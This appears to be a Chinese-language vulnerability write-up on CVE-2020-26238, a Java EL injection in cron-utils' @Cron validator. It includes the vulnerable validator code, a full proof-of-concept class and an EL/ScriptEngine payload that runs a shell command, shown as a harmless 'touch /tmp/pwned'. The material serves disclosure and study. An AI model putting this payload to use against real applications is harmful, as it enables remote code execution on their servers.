跳转至

CVE-2020-26238 Cron-Utils 远程代码执行(RCE)漏洞

Cron Utils是Jmrozanec个人开发者的一个用于验证、解析、迁移 Cron 表达式的Java代码库。

Cron-utils 9.1.3之前版本存在注入漏洞,攻击者可利用该漏洞能够注入任意的Java EL表达式,从而导致未经身份验证的远程代码执行(RCE)漏洞。只有使用@Cron注释验证不可信Cron表达式的项目才会受到影响。

远程执行代码-JavaEL注入

如果开发人员使用@Cron注释来验证用户控制的Cron表达式,则攻击者将能够注入和运行任意Java表达式语言(EL)表达式。

Cron-Utils使用Java Bean验证(JSR 380)自定义约束验证器,例如CronValidator。构建自定义约束违反错误消息时,重要的是要了解它们支持不同类型的插值,包括Java EL表达式。因此,如果攻击者可以将任意数据注入传递给ConstraintValidatorContext.buildConstraintViolationWithTemplate()的错误消息模板中,则他们将能够运行任意Java代码。不幸的是,通常将经过验证的(因此通常是不可信任的)Bean属性流入自定义错误消息中。在这种情况下,如果在解析表达式时抛出异常,则CronValidator会在自定义约束错误验证消息中包含正在验证的Cron表达式:

public boolean isValid(String value, ConstraintValidatorContext context) {
    if (value == null) {
        return true;
    }

    CronDefinition cronDefinition = CronDefinitionBuilder.instanceDefinitionFor(type);
    CronParser cronParser = new CronParser(cronDefinition);
    try {
        cronParser.parse(value).validate();
        return true;
    } catch (IllegalArgumentException e) {
        context.disableDefaultConstraintViolation();
        context.buildConstraintViolationWithTemplate(e.getMessage()).addConstraintViolation();
        return false;
    }
}

PoC:

复现漏洞,可以使用以下测试代码:

import com.cronutils.validation.Cron;
import com.cronutils.model.CronType;
import java.util.Set;
import javax.validation.ConstraintViolation;
import javax.validation.Validation;
import javax.validation.Validator;
import javax.validation.ValidatorFactory;

public class Main {

  public static class Job {
    @Cron(type = CronType.SPRING)
    private String cronExpression;

    String getCronExpression() {
      return cronExpression;
    }

    void setCronExpression(String cronExpression) {
      this.cronExpression = cronExpression;
    }
  }

  public static void main(String[] args) {
    Job job = new Job();
    job.setCronExpression("java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");

    ValidatorFactory factory = Validation.buildDefaultValidatorFactory();
    Validator validator = factory.getValidator();

    Set<ConstraintViolation<Job>> constraintViolations = validator.validate(job);
    String errmsg = constraintViolations.iterator().next().getMessage();
    System.out.println(errmsg);
  }
}

如果使用cron-utils的@Cron批注来验证用户控制的表达式,它将使攻击者能够执行任意Java代码。

为了触发异常并使有效载荷保持小写并允许空白,我们需要使用以下形式的有效载荷:

java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");

cron字段:

java.lang.Runtime.getRuntime().exec('touch
/tmp/pwned');
//
4
5
[${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(validatedValue)}]");

这将导致异常,例如:

Failed to parse 'java.lang.Runtime.getRuntime().exec('touch /tmp/pwned'); // 4 5 [java.lang.UNIXProcess@28a53635]'. Invalid chars in expression! Expression: JAVA.LANG.RUNTIME.GETRUNTIME().EXEC('TOUCH Invalid chars: JAVA.LANG.RUNTIME.GETRUNTIME().EXEC('TOUCH

ref: